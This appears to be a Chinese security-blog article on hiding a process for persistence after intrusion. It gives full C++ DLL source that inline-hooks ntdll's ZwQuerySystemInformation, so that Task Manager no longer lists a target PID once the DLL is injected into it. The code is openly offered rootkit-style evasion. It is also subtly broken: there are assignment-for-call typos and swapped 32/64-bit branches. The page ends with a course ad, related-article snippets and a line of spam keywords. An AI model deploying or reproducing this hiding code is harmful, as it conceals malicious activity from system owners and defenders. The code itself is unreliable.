<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    巧用進程隱藏進行權限維持

    VSole2021-11-05 14:37:24

    基礎知識

    進程(Process)是計算機中的程序關于某數據集合上的一次運行活動,是系統進行資源分配和調度的基本單位,是操作系統結構的基礎。在早期面向進程設計的計算機結構中,進程是程序的基本執行實體;在當代面向線程設計的計算機結構中,進程是線程的容器。程序是指令、數據及其組織形式的描述,進程是程序的實體。

    我們在計算機上的每個程序運行起來之后都可以被稱作進程,進程可以在任務管理器里面看見,如下所示

    那么我們在進行滲透的過程中,如果我們運行了一些本沒有運行的進程,我們想要達到不被對方發現的效果,其中一個方法就是實現進程隱藏,讓對方在任務管理器里面看不到這個進程,當然這里只針對的是不被小白發現,專業的人員不在這個討論范圍內。

    那么實現進程隱藏可以通過HOOK api的方式實現,我們知道一般我們要獲取進程快照都是使用CreateToolHelp32Snapshot這個api,而這個api在內核層最終會調用ZwQuerySystemInformation這個api來獲取系統進程信息,那么我們就可以直接去hook內核的這個api,因為最終還是調用內核的這個api,從而實現進程隱藏

    實現過程

    那么這里需要一些基礎知識,hook api的實現最終還是要歸結到Inline HOOK,通過修改api的前幾個字節的數據,寫入一個E9(jump)到我們自己的函數中執行

    簡單介紹一下Inline hook,API函數都保存在操作系統提供的DLL文件中,當在程序中使用某個API函數時,在運行程序后,程序會隱式地將API所在的DLL加載入進程中。這樣,程序就會像調用自己的函數一樣調用API。

    在進程中當EXE模塊調用CreateFile()函數的時候,會去調用kernel32.dll模塊中的CreateFile()函數,因為真正的CreateFile()函數的實現在kernel32.dll模塊中。

    CreateFile()是API函數,API函數也是由人編寫的代碼再編譯而成的,也有其對應的二進制代碼。既然是代碼,那么就可以被修改。通過一種“野蠻”的方法來直接修改API函數在內存中的映像,從而對API函數進行HOOK。使用的方法是,直接使用匯編指令的jmp指令將其代碼執行流程改變,進而執行我們的代碼,這樣就使原來的函數的流程改變了。執行完我們的流程以后,可以選擇性地執行原來的函數,也可以不繼續執行原來的函數。

    假設要對某進程的kernel32.dll的CreateFile()函數進行HOOK,首先需要在指定進程中的內存中找到CreateFile()函數的地址,然后修改CreateFile()函數的首地址的代碼為jmp MyProc的指令。這樣,當指定的進程調用CreateFile()函數時,就會首先跳轉到我們的函數當中去執行流程,這樣就完成了我們的HOOK了。

    那么既然有了IAThook,我們為什么還要用Inlinehook呢,直接用IAThook不是更方便嗎?看硬編碼多麻煩。

    我們思考一個問題,如果函數不是以LoadLibrary方式加載,那么肯定在導入表里就不會出現,那么IAThook就不能使用了,這就是Inlinehook誕生的條件。

    硬編碼

    何為硬編碼?

    這里我就不生搬概念性的東西來解釋了,說說我自己的理解。硬編碼可以說就是用十六進制的字符組成的,他是給cpu讀的語言,我們知道在計算機里面只有0和1,如果你要讓他去讀c語言的那些字符他是讀不懂的,他只會讀0和1,這就是硬編碼。

    硬編碼的結構如下,有定長指令、變長指令等等一系列指令,還跟各種寄存器相關聯起來,確實如果我們去讀硬編碼的話太痛苦了

    這里就不過多延伸了,我們在Inline hook里面只會用到一個硬編碼就是E9,對應的匯編代碼就是jmp

    這里我就直接通過Inline hook來實現進程隱藏,首先我們要明確思路,首先我們要獲取到ZwQuerySystemInformation這個函數的地址,首先看一下這個函數的結構

        typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );
    

    那么我們首先獲取ntdll.dll的基址,這里可以使用GetModuleHandle,也可以使用LoadLibraryA

    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
    

    然后使用GetProcAddress獲取ZwQuerySystemInformation的函數地址

    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
    

    獲取到函數地址之后我們就需要進行hook操作,這里注意一下,在32位中跳轉的語句應該為jmp New_ZwQuerySystemInformation,對應的硬編碼就是E9 xx xx xx xx,那么在32位的情況下我們要執行跳轉就需要修改5個字節的硬編碼,而在64位中跳轉的語句應該為mov rax, 0x1234567812345678jmp rax,對應的硬編碼就是48 b8 7856341278563412ff e0,需要修改12個字節

    在32位的情況下,修改5個字節

    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
    

    計算偏移地址,計算公式為新地址 - 舊地址 - 5

    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    

    因為我們要覆蓋前5個字節那么我們首先把前5個字節放到其他地方保存

    ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
    

    64位的情況下同理,只是修改字節為12個字節

     BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };   ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;  ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));  ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
    

    然后修改權限為可讀可寫可執行權限,否則會報錯0xC0000005

    ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    

    修改硬編碼,再還原屬性

    ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
    ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
    

    到這里我們的hook函數就已經完成得差不多了,再寫一個unhook函數,思路大體相同,代碼如下

    void UnHookAPI(){   //獲取ntdll.dll基址
       HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
       if (hDll == NULL)  {       printf("[!] GetModuleHandle false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] GetModuleHandle successfully!\n\n");  }
       // 獲取 ZwQuerySystemInformation 函數地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
       if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
       // 修改為可讀可寫可執行權限   DWORD dwOldProtect = 0;  ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
       // 32位下還原5字節,64位下還原12字節
    #ifdef _WIN64  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif   // 還原權限  ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
    

    當我們執行完hook函數之后,需要跳轉到我們自己的函數,在我們自己的函數里面,在我們自己的函數里面需要判斷是否檢索系統的進程信息,如果進程信息存在我們就需要將進程信息剔除

    那么我們首先將鉤子卸載掉,防止多次同時訪問hook函數而造成數據混亂

    UnHookAPI();
    

    然后加載ntdll.dll

    HMODULE hDll = ::LoadLibraryA("ntdll.dll");
    

    再獲取ZwQuerySystemInformation的基址

    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
    

    這里看一下ZwQuerySystemInformation這個函數結構

    NTSTATUS WINAPI ZwQuerySystemInformation( _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_   PVOID                    SystemInformation, _In_      ULONG                    SystemInformationLength, _Out_opt_ PULONG                   ReturnLength);
    

    主要要關注的有兩個參數,第一個參數是SystemInformationClass,他是用來表示要檢索的系統信息的類型,再就是返回值,當函數執行成功則返回NTSTATUS,否則返回錯誤代碼,那么我們首先要判斷消息類型是否是進程信息

    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
    

    這里我們定義一個指針指向返回結果信息的緩沖區

    pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    

    判斷如果是我們想要隱藏進程的PID則刪除進程信息

    if (HideProcessID == (DWORD)pCur->UniqueProcessId)
    

    刪除完成之后我們再還原hook

    HookAPI();
    

    我們要實現的功能不只是在自己的進程空間內隱藏指定進程,那么我們就可以把代碼寫成dll文件方便注入,完整代碼如下

    // dllmain.cpp : 定義 DLL 應用程序的入口點。#include "pch.h"#include <iostream>#include <Winternl.h>
    HMODULE g_hModule;BYTE g_Oldwin32[5] = { 0 };BYTE g_Oldwin64[12] = { 0 };
    #pragma data_seg("mydata")HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, "/SECTION:mydata,RWS")
    NTSTATUS New_ZwQuerySystemInformation(   SYSTEM_INFORMATION_CLASS SystemInformationClass,   PVOID SystemInformation,   ULONG SystemInformationLength,   PULONG ReturnLength);
    void HookAPI();void UnHookAPI();
    void HookAPI(){
       //獲取ntdll.dll基址
       HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
       if (hDll == NULL)  {       printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());       return;  }   else  {       printf("[*] GetModuleHandle successfully!\n\n");  }#ifdef _WIN64   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#else   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#endif   // 獲取 ZwQuerySystemInformation 函數地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
       if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
       // 32位則修改前5字節,64位則修改前12字節
    #ifdef _WIN64   // jmp New_ZwQuerySystemInformation   // E9 xx xx xx xx
       BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };
       // 計算偏移地址 , 偏移地址 = 新地址 - 舊地址 - 5   DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;  ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));  ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
    #else   // mov rax, 0x1234567812345678   // jmp rax   // 48 b8 7856341278563412   // ff e0
       BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };   ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;  ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));  ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
    #endif   DWORD dwOldProtect = 0;
       //修改為可讀可寫可執行權限  ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);  ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
       //還原權限  ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}
    void UnHookAPI(){   //獲取ntdll.dll基址
       HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
       if (hDll == NULL)  {       printf("[!] GetModuleHandle false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] GetModuleHandle successfully!\n\n");  }#ifdef _WIN64   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#else   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#endif
       // 獲取 ZwQuerySystemInformation 函數地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
       if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
       // 修改為可讀可寫可執行權限   DWORD dwOldProtect = 0;  ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
       // 32位下還原5字節,64位下還原12字節
    #ifdef _WIN64  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#else  ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32));#endif
       // 還原權限  ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}
    NTSTATUS New_ZwQuerySystemInformation(   SYSTEM_INFORMATION_CLASS SystemInformationClass,   PVOID SystemInformation,   ULONG SystemInformationLength,   PULONG ReturnLength){   NTSTATUS status = 0;   PSYSTEM_PROCESS_INFORMATION pCur = NULL;   PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
       // 隱藏進程的PID   DWORD HideProcessID = 13972;
       // 卸載鉤子   UnHookAPI();
       HMODULE hDll = ::LoadLibraryA("ntdll.dll");   if (hDll == NULL)  {       printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());       return status;  }   else  {       printf("[*] LoadLibraryA successfully!\n\n");  }
    #ifdef _WIN64   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#else   typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(       _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,       _Inout_   PVOID                    SystemInformation,       _In_      ULONG                    SystemInformationLength,       _Out_opt_ PULONG                   ReturnLength      );#endif
       // 獲取 ZwQuerySystemInformation 函數地址   typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
       if (NULL == ZwQuerySystemInformation)  {       printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());       return status;  }   else  {       printf("[*] ZwQuerySystemInformation successfully!\n\n");  }
       // 調用原函數 ZwQuerySystemInformation   status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);
       if (NT_SUCCESS(status) && 5 == SystemInformationClass)  {       pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
           while (TRUE)      {           // 若為隱藏的進程PID則刪除進程信息           if (HideProcessID == (DWORD)pCur->UniqueProcessId)          {               if (pCur->NextEntryOffset == 0)              {                   pPrev->NextEntryOffset = 0;              }
                   else              {                   pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;              }          }
               else          {               pPrev = pCur;          }
               if (pCur->NextEntryOffset == 0)          {               break;          }
               pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);      }  }
       HookAPI();
       return status;}
    BOOL APIENTRY DllMain( HMODULE hModule,                      DWORD  ul_reason_for_call,                      LPVOID lpReserved                    ){   switch (ul_reason_for_call)  {   case DLL_PROCESS_ATTACH:       HookAPI();       g_hModule = hModule;       break;   case DLL_THREAD_ATTACH:   case DLL_THREAD_DETACH:   case DLL_PROCESS_DETACH:       UnHookAPI();       break;  }   return TRUE;}
    

    實現效果

    這里可以通過全局鉤子注入或者遠程線程注入把dll注入到其他進程里面,那么如果我們想要在任務管理器里面看不到某個進程,那么就需要將dll注入到任務管理器里面

    我這里選擇隱藏的是QQ音樂,這里運行下程序將dll注入

    再看下效果,在任務管理器里面已經看不到QQ音樂這個進程了,進程隱藏成功

    推薦實操:黑客攻防之木馬揭秘

    PC端體驗地址:http://mrw.so/6tuBOy

    本課程重點剖析木馬技術,揭露黑客木馬技術內幕,為更好防范木馬提供有效

    的策略和技術支持。本課程從整體入手,先講解木馬程序的整體框架雛形,然后逐步深入分析木馬常用的隱藏技術、管道技術、反彈技術、rootkit、鉤子技術及遠程注入技術等等.

    硬編碼sizeof
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前言一次跟師傅交流時師傅談到有些EDR或AV,他們保護目標主機,甚至無進程,不經想到病毒實際上也常用這種技術。
    CobaltStrike ShellCode詳解
    2022-08-04 16:51:50
    接下來就是重點了,加載起來的這段shellcode開頭先將DF標志位置0,這里為什么這樣做后面會提到。
    最近在研究某數字殺軟的時候看到有個配置選項:這個自我保護實際上是加載360SelfProtection.sys驅動(看這名字應該還有360SelfProtection_win10.sys文件),在0環通過hook等手段保護注冊表項,重要進程進程等。
    Windows中主要的異常處理機制:VEH、SEH、C++EH。 SEH中文全稱:結構化異常處理。就是平時的__try __finally __try __except,是對c的擴展。 VEH中文全稱:向量異常處理。一般來說AddVectoredExceptionHandler去添加一個異常處理函數,可以通過第一個參數決定是否將VEH函數插入到VEH鏈表頭,插入到鏈表頭的函數先執行,如果為
    0x10 前言對前一段時間發現的幾個命令注入漏洞做下記錄:CVE-2022-28571 && CVE-2022-28572 CVE-2022-28571 這個漏洞的產生是因為Telnetd參數過濾不完整導致的,由于需要知道密碼所以比較雞肋,類似于授權后的命令注入,發現的過程很有意思,這篇文章主要介紹這個漏洞。
    條件競爭類型的漏洞
    程序是指令、數據及其組織形式的描述,進程是程序的實體。在進程中當EXE模塊調用CreateFile()函數的時候,會去調用kernel32.dll模塊中的CreateFile()函數,因為真正的CreateFile()函數的實現在kernel32.dll模塊中。
    在極棒(我是極客)比賽上看到玄武的追蹤信標團隊展示的項目,效果就是在耳機近場范圍內,選手對耳機發起攻擊然后變成了一個類似airtag跟蹤器,技術評委帶上耳機后在十分鐘開車隨便選擇了一個地點,選手跟蹤耳機最終確定了評委所在地。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类